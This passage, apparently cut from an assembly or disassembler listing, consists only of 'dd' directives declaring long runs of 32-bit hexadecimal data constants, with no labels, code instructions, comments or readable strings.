7BEDBBh dd 41854FF5h, 0D73CB945h, 0B4A34000h, 0E468F684h, 281F1D8Fh dd 9103FE51h, 0A21582A5h, 327535D0h, 8E425603h, 90627F44h dd 11E5C11h, 0B4E1672Dh, 0C4A63331h, 0FF01783Ch, 970DF7C6h dd 0E243EE51h, 0F9928018h, 765D021Ah, 378E272Eh, 9A004058h dd 3B0CAD3Fh, 7A0819FCh, 799E3A8Bh, 0F84DFD82h, 3051384Bh dd 2751400h, 0EFCE054h, 1AA83644h, 0F39A5140h, 7700AECAh dd 2AED1FB3h, 1FDBD404h, 0C6AFDD73h, 11D8F7B1h, 6F878407h dd 0A08ED002h, 0D52D58DCh, 0A1C82619h, 0E27380E0h, 249ECBF4h dd 6D676902h, 0C0257F6Ch, 78169DE4h, 0A4E63057h, 146D4611h dd 0FF00ABE0h, 0C94AA954h dd 3D5387Ch, 913445E8h, 81C0D7A2h, 3058B5Bh, 84B860B4h dd 4FF03380h, 361409E4h, 8057E11Eh, 8B3FE201h, 8503004Ah dd 35C7AC80h, 2F056760h, 879CDF6Dh, 0E6EF28D0h, 782B004Eh dd 69AD969h, 0BB199076h, 1968E0EEh, 390CCCh, 444D6699h dd 7F1E8A9Bh, 89540812h, 5DD67C81h, 0B8CB2843h, 7428EC2Ch dd 0E5F914C9h, 0FE08144Dh, 0BB00DC7Ch, 91172F92h, 0AF5C13A0h dd 40F71FEAh, 42F38435h, 933FE196h, 2F4F0033h, 3A5305C8h dd 1A0C0002h, 3DA38E67h, 0D5074314h, 8E75F39h, 27407CE0h dd 964C018Dh, 0EFDE6D31h, 1FF5D4E0h, 0CE4E3B00h, 4F7A43BBh dd 514A00A2h, 250A2A7Dh, 0A1C09041h, 16473DC8h, 48A3006Ah dd 83A0191Bh, 0F000FCD2h, 383513ADh, 30E559h, 32B2F4F9h dd 4521778Dh, 9319BE01h, 96BA643h, 8E552840h, 185CF24Ch dd 0D89C7933h, 0EA48ABA7h, 845C50DCh, 69BC7B00h, 40A939C7h dd 0E4710C0Eh, 0F121EAFEh, 7974DA00h, 0BC33EEA6h, 34010018h dd 0AFE1155Ch, 0EA1E13DCh, 0B10045FDh, 308E7588h, 0F2D60087h dd 0D7DF6E37h, 1800048Fh, 5042243Bh, 1E10EB68h, 1886705h dd 0E5CF9E7Ch, 0EE2C4D8h, 6493F3A0h, 0D898302Ah, 1B01E49h dd 0CB05BDB9h, 0F6DBF21Ah, 0C7E700E1h, 0E1045B67h, 6C020B48h dd 3539B85Fh, 0A5F340F0h, 0EBBD90A2h, 0E276BD30h, 9625038Ch dd 0FBFCF343h, 5EBE6FC8h, 0C0026EAh, 71BFFAB1h, 877D21h dd 44708337h, 13310F2h, 0D4BD4100h, 62FCF1B7h, 84D61DE0h dd 94ED0266h, 0CEC1D216h, 9A8E20BEh, 48599D00h, 0B11E314Ch dd 471900CEh, 0CAB814EEh, 0D7F84EF3h, 62FB5200h, 9F717B61h dd 0C03900FEh, 530212B6h, 0ED6E1331h, 18F8E120h, 0D33AD9h dd 16644010h, 0A9FC7A92h, 2D0C3779h, 31112360h, 8DB0BBh dd 4857A7B9h, 101972B7h, 8F1F3498h, 91FC6B3h, 6D46019Fh dd 18DEB5h, 99EE2BD3h, 2E150C7Dh, 144EA318h, 10BC250h dd 0FDB90EB3h, 0C1E18112h, 36DDD013h, 723D90C3h, 2F9188B3h dd 848F0051h, 3B95554h, 0FA0079E2h, 0FB564F5Dh, 600A8E7Fh dd 3B93880Fh, 0C103549Fh, 0F68CD7F3h, 961581AAh, 0A9BCA8C7h dd 79FCD0h, 0F767F75h, 7769745Bh, 92124703h, 88B6E072h dd 744D4053h, 73C330CEh, 90BA7620h, 75933A00h, 3C40CCABh dd 327F866h, 28CE9F8Bh, 0AB00987h, 3700678Ah, 80C1F31Fh dd 0A25379h, 0AC7B5CD0h, 0A472366Ch, 75406618h, 542758h dd 0E7463760h, 0F916F447h, 17181F77h, 0BF20A441h, 643A2ECFh dd 7BDC00B6h, 0E8FB1BA9h, 19407660h, 7E91F9h, 0CD1A8E48h dd 13433D07h, 5401B2FCh, 31D4365Dh, 7888276Bh, 5E603FACh dd 0E6E76C37h, 101A4295h, 5526A3F0h, 3B6F0058h, 3C392CADh dd 0D0F94306h, 1EC8C068h, 225DB73h, 27784167h, 0D8F8A480h dd 78C15A43h, 0CF88B03Bh, 0BF86208Eh, 2979E146h, 3500977Dh dd 569FFCCEh, 7464614Bh, 345F0148h, 79B9661Bh, 0FA207036h dd 0B4CA5A01h, 0DEB6DCE1h, 0A45237F4h, 689D52A4h, 14775D3Fh dd 0A4F28FE8h, 0A13DC4h, 1235827Ah, 0A61B1426h, 0BE81A023h dd 0E0528FB9h, 400EBAEh, 727CD00Dh, 0E3A52Ah, 0AF76DC6h dd 986E3EBEh, 0CB197407h, 21708E9Fh, 15F5DBh, 0E124B77Fh dd 18C30F40h, 3EF7C3Ah, 3EA62577h, 6669F8F0h, 783990ECh dd 0E09A00AFh, 1A870575h, 550E5B30h, 436C18DCh, 0A8E6268Dh dd 3BDA5499h, 0B9965FAEh, 1F7A01B5h, 0FF94B05Dh, 68D3A1C8h dd 86353D00h, 64C204E7h, 0FFE30036h, 2B463859h, 0ED00948Ah dd 273F6CEAh, 0EEBBA39h, 912EF6C6h, 74FAAE0h, 4E00BCD6h dd 0DCB5FCA7h, 0B025EF17h, 0AE362404h, 14400B6h, 4352C922h dd 9B126F00h, 0FA8718DDh, 65982624h, 7A230000h, 0E86CA3C6h dd 523C8000h, 7EEB515Ch, 0B2850054h, 0AE35DEFFh, 643AB157h dd 0CEEC835Ah, 0C8668FF7h, 0E145C6h, 4698B8B0h, 7ACCED75h dd 0A6D14107h, 0BEC0B106h, 6ABAAF2h, 568D3302h, 0BF7819E3h dd 0D914A202h, 0E0AF3F93h, 7CCE58h, 6B06C8C2h, 0ED341013h dd 0B00C860Fh, 0A0E1AF2Eh, 0E4F10F9Ch, 33FB0C6Ah, 0DA69A5C1h dd 0EE227500h, 1FAA82CFh, 721040B4h, 186B5D30h, 7F788AD8h dd 300A80ECh, 0DA4B8426h, 5477A1Fh, 15B1D1C3h, 6080FDA8h dd 9ECCDA6Bh, 0F470D51Ch, 0CF00DE77h, 6274F149h, 135B158h dd 30CE4A85h, 0D1AA478Ah, 2000E3B7h, 0E1B14C10h, 42AE27h dd 25718F20h, 0F095C273h, 4DC4DCFDh, 0CAAA6300h, 5868D55Dh dd 495A5C78h, 0CFF63800h, 0C246541Fh, 0EE424800h, 0D5EA0361h dd 6B2100A8h, 7390F9CEh, 0C001E17h, 0FE39C8AFh, 36C1E14Fh dd 8868A25Ah, 0E4F99401h, 0A9537732h, 302AE3DAh, 0B4215208h dd 0D302AF90h, 98EEBC93h, 0C8E07F30h, 0C0668A0h, 0DC944A6Fh dd 0D9DE6778h, 60DB05F8h, 0DCB10F84h, 8E28423h, 0B0045ABh dd 8EB7B15Bh, 3480A816h, 39C0B89Dh, 430136F3h, 0B4EB6B9Fh dd 2E4ED8C3h, 50539001h, 0A25521ABh, 0C9338880h, 0C62289CAh dd 0BE69C0E9h, 0AF1CCE00h, 0EBB92AD5h, 18CC0C4Fh, 0FDD874B0h dd 62FAD9F8h, 2B159A07h, 0E173C9F6h, 8240001Bh, 850ACCACh dd 267F0130h, 80944039h, 349C4D69h, 7FB2C266h, 1D0F0024h dd 1CAF60F1h, 831F6546h, 400F2F96h, 11CCBEB9h, 0EE91109Fh dd 0F65E0381h, 0A6784D90h, 0CFD09EE0h, 93008E7Ch, 14B711DAh dd 0DF847Ch, 659DAAF8h, 9F59C82Dh, 0D9245E1Eh, 0DAD79703h dd 6156C096h, 0A2C61DFCh, 0A39B434Dh, 0AFA36385h, 0B4392116h dd 36B93300h, 36FABF08h, 20809A0Ch, 0FE91803h, 0F5D557h dd 0E347BE10h, 0E629FA38h, 0DB199A18h, 3E9BD08h, 0EFC096D9h dd 75B8CE03h, 0DD90A1A8h, 0A0F01112h, 764907FFh, 73C7D7C2h dd 0B8099C03h, 809FF571h, 89CC1C1Ah, 0F8CF7AE2h, 46E3150Eh dd 0A40E6499h, 0C09A49FAh, 54EB6424h, 2A020000h, 6C661A5Bh dd 848200FFh, 19D02F67h, 0B1009E09h, 878C96DFh, 0C56CD4h dd 0D66BA298h, 8A2D3EF3h, 8FBD3Dh, 16430D03h, 0EEC7E2A4h dd 6E2F0740h, 0A3A87FA5h, 79B0FA5Ch, 5037AEEh, 0E0EA9DC7h dd 0F0E983D4h, 0B2AA4h, 156839C3h, 63DAD6ACh, 0F5CEBA00h dd 7C044278h, 65E00008h, 5E8290E1h, 0B4F650E4h, 0FECB9400h dd 0D3097BE3h, 0F3E00EF5h, 414974FBh, 0D3164DE1h, 0BC552880h dd 48153F00h, 864984B4h, 0A42900B6h, 0ED2E726Bh, 2F008AE3h dd 4A3DF9C2h, 1AA78E0h, 96DE5CBh, 0DC26B406h, 770025D9h dd 7E47BF6Fh, 12E7981h, 17053C4Fh, 20CD5BB8h, 52006E82h dd 3B3F82FBh, 0E2D2EBAh, 0D3051D40h, 0E9B8E740h, 423BE1D5h dd 11FC80E5h, 20146D19h, 487C316Eh, 0F0DD9718h, 6C00E8FDh dd 2C623E03h, 0DEC13Bh, 31165FE7h, 2E6F83D2h, 6896AC00h dd 63AE4597h, 0A6D1C5Dh, 88CE86E9h, 5100D866h, 428C11A4h dd 61E7A0h, 49C08075h, 605FA952h, 0BEF824EEh, 80AB063Dh dd 0B2D03203h, 3C3BC758h, 1C807CB3h, 0C13D1BE7h, 9C01B67Dh dd 0C7132847h, 5CE0E530h, 8CC01874h, 0C85E2804h, 38558h dd 0E0A550D3h, 0D6F7EAh, 0F45816FBh, 32CBE417h, 808A212Eh dd 3802830Ch, 0BB4D15BCh, 3817484Fh, 622302C2h, 4882B667h dd 69014A30h, 75FCABF0h, 0BB716Fh, 778C5C80h, 0F01F368h dd 0C85E13Fh, 507FD5CDh, 0C7B2035Eh, 1D1350DFh, 0AB201001h dd 0A8F5B9F4h, 3AD762E8h, 0C230115Bh, 0F6715921h, 834A3900h dd 0EFDF0725h, 40E6E679h dd 9C18FD23h, 9EB09BBBh, 967C0083h, 81C515Fh, 0FA06864Fh dd 0C17F0A01h, 97BF0051h, 0DB8EF9B4h, 0E00E484h, 0B52855C9h dd 53129Ch, 602102CAh, 2FE8AC46h, 80A3C038h, 4973E508h dd 0BED3B68h, 0C7B1D5BCh, 0AAF75A85h, 0E3887DC0h, 5E980078h dd 0B043705h, 0BD1F2535h, 0BA3E7Ch, 0E7ADF999h, 0EC61BA0Ah dd 73BB0002h, 2DB807E6h, 1A584682h, 2B6F00B8h, 923B2293h dd 5A1600DCh, 83C26770h, 0D3001A0Dh, 3426CFA8h, 6B028Fh dd 2193A5A0h, 5E2B4A43h, 0D1BC4100h, 6F62C2B3h, 30017BFFh dd 82861E90h, 61011C68h, 58CB4C95h, 0CF6F6Ah, 0E6540210h dd 550D764Eh, 8C32C600h, 169519Ah, 9F920047h, 2FF34D8h dd 39000E4Dh, 0B11ECBCAh, 0A0CED0h, 986B8F8Bh, 4CC5EF0h dd 0DA46D600h, 5BBE50A7h, 1F13A25h, 0C278F484h, 8D00FB89h dd 0ED3563A2h, 0F8BFFC8Eh, 190C00DEh, 14E093D4h, 64001C58h dd 885BE954h, 8C33EBh, 8763228Eh, 62ABBAC7h, 50B21F00h dd 32DD454h, 0E31A004Dh, 0EBA447ADh, 15049B69h, 0E2A20296h dd 8FE0ADC7h, 0C11B8E25h, 0C85C0FF0h, 0BBA08D63h, 80F04036h dd 0AAAF3193h, 0DD137C60h, 0D9598402h, 8F083BD2h, 889B9E60h dd 0CA251092h, 0F1A8820Dh, 1A80FB8h, 22B34F42h, 0A110892Fh dd 133F40EAh, 1A04422h, 91B317AEh, 8597625h, 80BBF8FCh dd 494585CEh, 9B102DF5h, 0C9880328h, 0A788405Ah, 22955B22h dd 122113D2h, 6673284Ch, 98EA58BDh, 656359C0h, 607CA9A3h dd 5B0EB197h, 6060F623h, 76BB7F50h, 0ED920016h, 0DD1DDF6Ch dd 4498C885h, 0B4F43A00h, 0C983EB51h, 791F6033h, 8A0D7E15h dd 0C08B4930h, 98F05B95h, 0F5331872h, 0EE52C836h, 0A20D2F0Eh dd 76B0A05Ch, 1D9E3796h, 99D22Ch, 63783B16h, 0A0C02AEBh dd 0B36D4730h, 45920035h, 560E0FCCh, 7330DBE7h, 25D2D88Bh dd 46DD00B0h, 0B42AC842h, 17F8BC99h, 3A7C3Ch, 0BD0EC45Ch dd 50B6F419h, 351F4D1h, 935883EFh, 68053653h, 9C32E216h dd 0E057F803h, 0C396C11Ah, 93E02C21h, 0B98B0EC7h, 2CCA65ABh dd 9AFD00C4h, 3B771F12h, 0C413A2FCh, 0F0020D58h, 40327DFAh dd 7AF5E94h, 0F741F847h, 870B4503h, 0C1DF2737h, 0D449FCEFh dd 0BD5038DDh, 0E03D89C7h, 67DA9D0Eh, 0BCCEB307h, 5EAECCh dd 8C8CD9Bh, 0C85641Dh, 0BD2B0E04h, 3BBD89Eh, 241AA04Fh dd 204F4699h, 8E044BA8h, 0DE8DAE60h, 960EA091h, 3EDB53F0h dd 9000C546h, 695222ECh, 2B1EA99Ch, 57D09244h, 7ED0200h dd 7874BF56h, 0D81EF607h, 0EE44F5E8h, 0CE5F1090h, 5862E54h dd 38E10098h, 0FD468F1Ah, 7EEC5C00h, 0C4EB3EF6h, 4D62E2B2h dd 5C75446Ah, 241C1A64h, 9ED6C351h, 90A45F7Fh, 80C195A4h dd 0F0FDFF00h, 0AA3D2E67h, 1433FBFAh, 43EFB600h, 1FC86BA0h dd 400F848h, 40B15429h, 4020CC3h, 642A4949h, 800487C6h dd 884A9DDAh, 0A57E91C2h, 0FFD81368h, 0F12124DEh, 5E2805Fh dd 0EFAD955Eh, 0D779FF0Eh, 2E1923D9h, 81C888C1h, 0B8C21304h dd 0E31F3Dh, 43C0B3D2h, 3090D36Ch, 0B0163300h, 6E3E6726h dd 7B0F1F40h, 5C1A004Eh, 19A23B9Ah, 0F49C1207h, 5660F5DAh dd 0B70A2EC4h, 501C250h, 0A6A23458h, 0CEF88C67h, 447703C5h dd 0F68A7F3Bh, 0E6C7EAC0h, 55AE1F00h, 0DFF7B65Dh, 6D400053h dd 0CB4A3EA1h, 8700F109h, 12542608h, 6EF3DA8h, 0E3EE2CCCh dd 9172F6A5h, 75B01B07h, 3BF003B4h, 0ADB1F3h, 0C7CFCCDh dd 6B4595B7h, 0BA863300h, 659448FBh, 61CE3D6Dh, 0F6443F80h dd 3149712Eh, 40C93801h, 0CDA91B15h, 2063D8h, 52A1B45Eh dd 1A79B137h, 0A0D13E0Eh, 0E09E6F80h, 0FEFA01A9h, 0D61C000Ch dd 4770E98Dh, 550032AEh, 521965E1h, 3C59FFA7h, 7A862Dh dd 0B651BB46h, 0D10996CCh, 38FDAB00h, 8EC895B1h, 0FE0F008Bh dd 47D9FC15h, 39E6F70Ch, 946F3402h, 80A3FD63h, 46D457C7h dd 6E4B00A4h, 6F8D98BDh, 0D201C109h, 10C663F7h, 0ADFC9E9Dh dd 0B661005Eh, 0C7BF3572h, 7FB86241h, 1F63C13Ch, 429747Eh dd 0AF9218D6h, 0EA71064h, 5BE1C000h, 2714BA71h, 0D9F301FFh dd 0B6EA2CE6h, 0C096D4D8h, 0B85FAF18h, 88434E29h, 424018B7h dd 0B9E5449Ch, 4492B144h, 0C1440AE8h, 0EEF44F0h, 4214D320h dd 201C0886h, 42940441h, 0DB990297h, 0E76A0213h, 280DB023h dd 2250A851h, 0FE227F0Bh, 192622E9h, 512BEC31h, 29B67739h dd 1731291Ah, 18C0794Ah, 9402FC11h, 183C76A1h, 6429383Fh dd 86B88840h, 0C05AE040h, 57CFE1C9h, 0B27DD18Ch, 0C56CAE00h dd 5AE5A5BFh, 1871013Fh, 0DECE74FEh, 0B617D825h, 0ABFB3C00h dd 7F36050Bh, 0E71300B2h, 5967F2CAh, 0CF00BFE1h, 9152A95h dd 26EFA0B7h, 120FD17h, 0E9AB9DC4h, 792CCC1Fh, 0DE119C00h dd 0E64CED6Ch, 0F6D53F09h, 8CCBCE80h, 0FA1E18C9h, 0BD677E2Eh dd 351A3907h, 298B13A0h, 63F14C33h, 28CE9B00h, 0DAC2CBF3h dd 0C8E1211Eh, 0C1FCB480h, 296064h, 0B59C259Ah, 56BFC742h dd 7C004079h, 37DD2E94h, 219495Fh, 10042067h, 70405B4Fh dd 840094BEh, 0D905DC70h, 18230CB7h, 48676968h, 0FD000611h dd 204F287Ch, 0C06FE609h, 0FFEE3450h, 831F4876h, 6C80F55Ah dd 0C9F21644h, 0F98900A7h, 3735DADBh, 0D10E0D08h, 7D853C13h dd 12CDE780h, 545DCBh, 93AD3EDFh, 0AB6BA22Eh, 4D3BA0Eh dd 7252431Fh, 16A00027h, 3CD5A6C3h, 0F600AD58h, 0AFCC9C48h dd 1BFE8h, 6B5D4317h, 1066DABCh, 4998DC00h, 0C550E2EFh dd 9C220B92h, 7A80AB9Eh, 9B973A3Fh, 0CFE8115Bh, 0C058FA1Dh dd 48C53E7Eh, 0EE3BB2ECh, 0B0A780F4h, 557D4A98h, 16C400B4h dd 383D51D3h, 930028F1h, 9BA1FBA7h, 0D9D027h, 6630EB6h dd 8D16CD2Bh, 97DB7C00h, 0B854506Bh, 0B88CF478h, 6759001Bh dd 0F8581A6Fh, 7703EBCDh, 0E0B1F974h, 0E091820Dh, 0E66550D9h dd 209F6AAh, 6AC75B30h, 0C60BB68h, 0DA0049A4h, 18CAC9F0h dd 3A81784Fh, 94806625h, 8B7F84A9h, 0C807CBFEh, 73D59BE7h dd 2A7BA90h, 74FDFAF2h, 0EFCD0059h, 922CBDCFh, 0E900D188h dd 3CC5B485h, 31AF97Dh, 8EB561EEh, 5A90A941h, 0DC48890Bh dd 0E8340E98h, 7AC8E025h, 1383C477h, 7210B4h, 373E62E3h dd 8BE03AF1h, 0D0ECC01h, 72FD710Bh, 13A899E0h, 367E33h dd 0B010AD70h, 53001C35h, 5C955AE4h, 0D5C5BDh, 0F27DB3F3h dd 6A6681C4h, 0DFAD3D00h, 64F77962h, 403005Dh, 997D8BB1h dd 773F129Fh, 601780EDh, 243907B5h, 0EC0F00C2h, 0E381115Eh dd 2603ABAAh, 8AA18C56h, 0E40188CEh, 79E801BCh, 4207D565h dd 858C408Eh, 0B518A6DAh, 0F641833Bh, 0CE7CA0h, 511D3CEDh dd 4F0FAE40h, 456D3603h, 0D0623898h, 2D413h, 5E66AC08h dd 8A7022F8h, 80269D3Fh, 800E3141h, 0D7EE51h, 859795BEh dd 0DE5E8AFCh, 88D40D00h, 74B9393Ch, 0D34E0011h, 5127065h dd 487C71C8h, 6C5A7900h, 0B241A12Dh, 86DF00CAh, 0A45BAEF5h dd 7C909C6Dh, 4FC8B607h, 22EFCB93h, 4096280Eh, 3826368h dd 5FDDBABEh, 0ACF8847Dh, 0DF00FDE1h, 994B6DB7h, 1CA46208h dd 0FEDA7Ch, 879E8E6Fh, 0FF0784F6h, 711533DDh, 0E0F008B3h dd 0BEF364Dh, 0FE312D8Ah, 0C2C7E0F5h, 3256138Bh, 0C3740016h dd 0F526ED8Ch, 0D62C7E00h, 0EECEDE23h, 0A1CA0041h, 0F962C533h dd 0A700CB03h, 0A69ECC6Ah, 0AA731Eh, 4723074Ah, 15ACE245h dd 0E7BF0101h, 3BA10C9Fh dd 1AA7E8h, 5C5FCEE4h, 5A819A60h, 0B8963900h, 56CA32F4h dd 0A1530F1Eh, 2CAFA4B3h, 57970E80h, 0D20091D5h, 0AE1BA02Dh dd 361F8h, 19C468C7h, 23586E47h, 2AC24800h, 7330A5C3h dd 7B27666h, 0CBD83A5Ch, 0F05D701Ah, 52003493h, 74F1976Ch dd 0A5234Eh, 4539696Ah, 7EC3639Dh, 0CB2C8300h, 0A12842C5h dd 0DE1E3A11h, 0DDE6BF07h, 558F0A5h, 0B8006953h, 0B62886A6h dd 99578Ch, 80D22B7h, 81E409D4h, 0C6116315h, 2B7500B8h dd 0CF49A882h, 59550F5Fh, 0CFBFAED5h, 60E0D142h, 481DA64Fh dd 6908BF05h, 0C1C707C4h, 4ADCAF90h, 8044B316h, 0FBD70820h dd 9785FD2h, 0C219AF00h, 0A086E727h, 66E1038Ch, 0B48197F5h dd 88AB7F0h, 44325400h, 5DF4FECDh, 2597128h, 0C7D8BCD0h dd 8663632Dh, 40C50890h, 65124A7Dh, 4C020F34h, 6BE97787h dd 4D20D018h, 1BB50006h, 278B2D58h, 24009A91h, 0EBD6350h dd 1EF04CBh, 3A2F4F9Dh, 0F4EE7608h, 0F7005817h, 6158A7Eh dd 19CB169h, 3CCDC3B8h, 3018A6F8h, 9A00878Ch, 9179E3A2h dd 0CBE92Eh, 4AE429F6h, 0BA0E4C1Dh, 2374BC00h, 202F5EBBh dd 1B8D1667h, 6EC80078h, 7E8E89CDh, 0BE769501h, 6B06EE65h dd 63E8B880h, 3ECE60EDh, 967F271Dh, 0DB8A5240h, 870FC3h dd 0F789AE76h, 12375D2Ch, 67CD3Ah, 0F3C1933Bh, 1CCAC4Fh dd 0BC74D6B4h, 0FC29E9C8h, 0A3001709h, 3FCF36E8h, 366D84DCh dd 0F4980D41h, 0F99CCC00h, 0D2EC3126h, 0B01D386Fh, 3EBB900h dd 0C941F683h, 93BF0400h, 61362A23h, 1EF8EAFEh, 0F13181h dd 0D377DC4Eh, 0E0007AD6h, 8D577C37h, 7472B983h, 13760035h dd 5DB3F50h, 670F2C98h, 0C2775646h, 0C061B67Bh, 8E8AE1h dd 0F0368663h, 0E6DE389Ch, 0E30018B8h, 0FAC150E8h, 60DCCBh dd 0AE66C448h, 9E2B0EC7h, 0A82DB73Bh, 0A9F2AC7Bh, 5E1F8E00h dd 8B31C164h, 78131374h, 0A2880F0Ah, 5080DC47h, 7CB0BDD9h dd 3B6348h, 0D6C5EF6Ah, 0CAFEF4h, 0F9D75B1h, 1AEDF10Ah dd 18D3B000h, 6335223Eh, 0A7040046h, 1408ABACh, 0DB03D57Ah dd 3F9BB043h, 7BF1007Dh, 207875EEh, 9D006DBCh, 189E5064h dd 1C7DDEBh, 22C4BA65h, 0F87B9683h, 0CBF68166h, 0DC492609h dd 6CC88014h, 0F35AEh, 7F6ABE74h, 0EC86B99h, 80173698h dd 4C40B08Bh, 0FBE3BF50h, 5AD7219h, 0FEBD908Ch, 396C070h dd 0AE0C31D6h, 98A90AF4h, 0FB55011Bh, 0E2C165EEh, 0BF5BCC4Ah dd 579FDA00h, 5AA208E0h, 1DFFB093h, 0C006EAC9h, 0B93A3B69h dd 0A07B6A51h, 3C0B420Eh, 681D5734h, 0C84E68C0h, 0C3118Bh dd 7519FA23h, 8F264BA4h, 0A5C9D501h, 5159279Fh, 690BB440h dd 8AAF0095h, 73E26A65h, 7700F7F8h, 0CBD1948Ch, 1BF0F1Bh dd 0E8F9B867h, 0D04389A8h, 1C0124D7h, 0F1118D64h, 0A7C4DBBEh dd 416B0060h, 1536D547h, 900072B5h, 78199591h, 0E2A03Ch dd 0A285D0BEh, 56D50577h, 7A9A6F00h, 0A8EC37E8h, 0F092F9h dd 0EE1F257Fh, 488CF0B6h, 6F292300h, 7B7D52E8h, 0E9B8C009h dd 68F1C62Fh, 4150A900h, 930B760Eh, 80350B1Ch, 3100155Ch dd 44CCA3A4h, 87073E3Dh, 9FD16A6Bh, 24C10069h, 1C68780Eh dd 2B73CAh, 9E5ECF3Fh, 9100DEEDh, 0E92CC58Ah, 802399h dd 19B62705h, 68C29496h, 0ED4D3D00h, 0AD1A6CBEh, 0DCE01DA4h dd 8E25C035h, 7C76C36Eh, 67ED9B09h, 0E06820D8h, 2C74FAFEh dd 31DA3Dh, 3D37A04h, 0CC00BB2Dh, 944B84C9h, 0A7F9B9h dd 0E21190D7h, 12BCB0A3h, 16BAD38h, 3860E915h, 2872B4h dd 9E3C10EBh, 38D8ECDFh, 0D4B77880h, 0BBFCF325h, 0CAEA1F00h dd 21720CF2h, 8AAC02F8h, 0FAE4E17Dh, 5D101EE0h, 95C8D38h dd 807E1248h, 899F7000h, 698B140Dh, 79FC3Dh, 99596DBDh dd 1EABF0C4h, 3B657200h, 0DEE16ABCh, 50302C38h, 0BE68918h dd 0C021C485h, 0E48EC344h, 0E7CA6D07h, 0F2E088AFh, 60ECDD57h dd 498C2010h, 9F0004EFh, 0EAA01713h, 421FFFh, 466D1CFDh dd 0A7FC3089h, 1E8BA909h, 0BCE000A1h, 7219ECC4h, 0DD401D91h dd 0C395C1ACh, 0E07493A0h, 0D00BDEEh, 202E71DFh, 3D8DFBE5h dd 0BEBE1942h, 8A895D00h, 1FC260E6h, 44CA8E1Dh, 80B7208Bh dd 19F8208h, 3E413C52h, 3DFC3A80h, 89D29311h, 8883FA1Ch dd 417BA30Eh, 0D0B9AC4Eh, 75BFC0h, 9C4284BBh, 2A58B449h dd 78077C00h, 16F6DC5Ch, 0C2AF0059h, 9E906C86h, 0B50396ABh dd 0D55F13A5h, 0E2C8F818h, 0EDB63DC5h, 72A81D82h, 8A804D25h dd 8D14EE9h, 64934C24h, 0B9605880h, 0FEA6EF3h, 9D2DC631h dd 8D98EDA0h, 0A63C9F7Eh, 0A9E780E8h, 7368771Bh, 0AFF7DC5h dd 0C104BF42h, 40EB0BCFh, 0EDC31300h, 150028FBh, 0A39D7A47h dd 2D067Eh, 8A308D0Ah, 16EA9927h, 301BE39h, 3E548890h dd 0D0C39025h, 0EC0C1CACh, 0D55B00F1h, 0FACB0543h, 73DC4500h dd 1133DB35h, 0C7CA009Bh, 56AD8674h, 0F3003924h, 17E36A3Ch dd 3B4126h, 9D981B1Ch, 0D8E1E7A7h, 33CFCF2h, 0A00C259Ch dd 0B923DD60h, 7BCC006Ch, 94D9530Eh, 0D501A6C4h, 0F80A2634h dd 0A8DF54EDh, 91063Ah, 74D8CD47h, 6E39B14Ah, 0B9903809h dd 0E6800FFh, 1F51EC58h, 0C05FD0F1h, 9759418Ch, 781DB606h dd 7209624Dh, 5CC46Eh, 92560B50h, 0B408C4AFh, 3B75AE00h dd 0E353CC89h, 6C520039h, 0B92C5C6h, 0D6004808h, 366F5D9h dd 75E275Bh, 0F988FBFFh, 0A21D407Dh, 0BF076EAAh, 358A4EEDh dd 337EAB50h, 9075181Fh, 0D3490E79h, 5F1B5B00h, 0C245257Bh dd 0CA800096h, 5A6FA121h, 613FF358h, 6967000Bh, 24350D46h dd 0BF3E00EBh, 0F8499E0Eh, 0BD021B33h, 7C5A89Bh, 77ECE059h dd 561000D2h, 0FCEA5C65h, 5E1DE3E2h, 97683CBBh, 81307D00h dd 8DF45036h, 153900ABh, 7F78B8D1h, 0E9009ED2h, 76AFDD68h dd 3474EF6h, 0C6106D71h, 0D5B03AACh, 30002C08h, 0CAC0CEDDh dd 2F53141h, 8509976Fh, 0B4486B20h, 0A900D286h, 0B030D7C7h dd 0EEA42E0h, 0AB84BAAAh, 9653E00h, 9802D135h, 0ED2A36FEh dd 864BC17Eh, 978AE4h, 0D8EB5929h, 6728CFF7h, 0E138DE7Dh dd 4E138A08h, 1D01A2B6h, 81BDCD40h, 43B19942h, 0ECC90FCh dd 10CE070Ch, 10749662h, 81F1E442h, 4683050Fh, 66596153h dd 7DC94132h, 482720h, 393DBC93h, 33D89C69h, 5EAF038h dd 70B76D0Bh, 2488E880h, 2F581CD3h, 0A1CA407Fh, 84E9FDB4h dd 605BA900h, 63CE2630h, 7E46014Bh, 6B787617h, 1143657h dd 56C1F973h, 25CDB664h, 2B00D839h, 0ECB480A1h, 9028298Ch dd 0F22CFC39h, 1007186h, 1584535Fh, 0E2E7794h, 68B1591Ch dd 744C56E0h, 0F848AD9Ch, 16E6003Bh, 5BCECD4h, 722000B4h dd 1BDE31FBh, 0F124A4BAh, 0F31E7C5Ch, 4829892h, 8561E0D7h dd 0EDF20044h, 0B3973A94h, 1F00BE38h, 0CEF19C14h, 3F8C2A22h dd 94BF1AC7h, 7948D4D0h, 8B3200B0h, 0BC5FDC54h, 0C000E8F4h dd 0E0A05734h, 71BBFB5h, 0C44CD59Fh, 3E56A081h, 1400CEC8h dd 0BF3CD40Bh, 0B4C36Fh, 3A738D95h, 0A87CCAAh, 1279A700h dd 2831A969h, 0E2A50006h, 50F63249h, 15004013h, 20D6241Ah dd 38051794h, 34804A33h, 0F007E87Bh, 37003286h, 0FE7F52D0h dd 0F3D7056h, 48BEEF68h, 0C3922A80h, 133B96FDh, 18B68006h dd 74DBCF17h, 0EE9D0350h, 538D0F25h, 690881E5h, 0F50C30F8h dd 376DB300h, 13DA846h, 4F641D73h, 0F38A4E7Eh, 8F7C4A93h dd 4C500188h, 0F4E1152Ah dd 16014B29h, 0FE915FC0h, 63204DBCh, 0BF2002Bh, 28B7F6D6h dd 10599017h, 0BF0900CCh, 0D89112D0h, 0CB180023h, 0AB9DC3CCh dd 20001BDh, 673E0E6Bh, 1D9884h, 0E4FAAAE6h, 383F1876h dd 8927BF03h, 0DA687236h, 0D748E0B7h, 0D36A00F1h, 476D186Eh dd 0BE074E9Ah, 0EBE35433h, 8D7A20A0h, 0DF8601B9h, 0A404A1D6h dd 2080D9F3h, 0C10074A5h, 7C64CE1Eh, 7B0CE381h, 12349848h dd 0D05031F6h, 2445A1C4h, 0F27B4900h, 6AEBB91Bh, 42B51C66h dd 54C9C298h, 6040AA81h, 0C400FA8Eh, 0D7F98FD8h, 759D2Ch dd 0C02350B3h, 32977F0Eh, 2B8E0800h, 0E662BF39h, 19FF017h dd 2AD4BE05h, 2046F4D6h, 0D100297Dh, 18861187h, 41E02Dh dd 0CA16B621h, 0BA49AAF1h, 0A8A7E82Ch, 0E6C8730Ch, 75D30065h dd 0A19515ABh, 120591CDh, 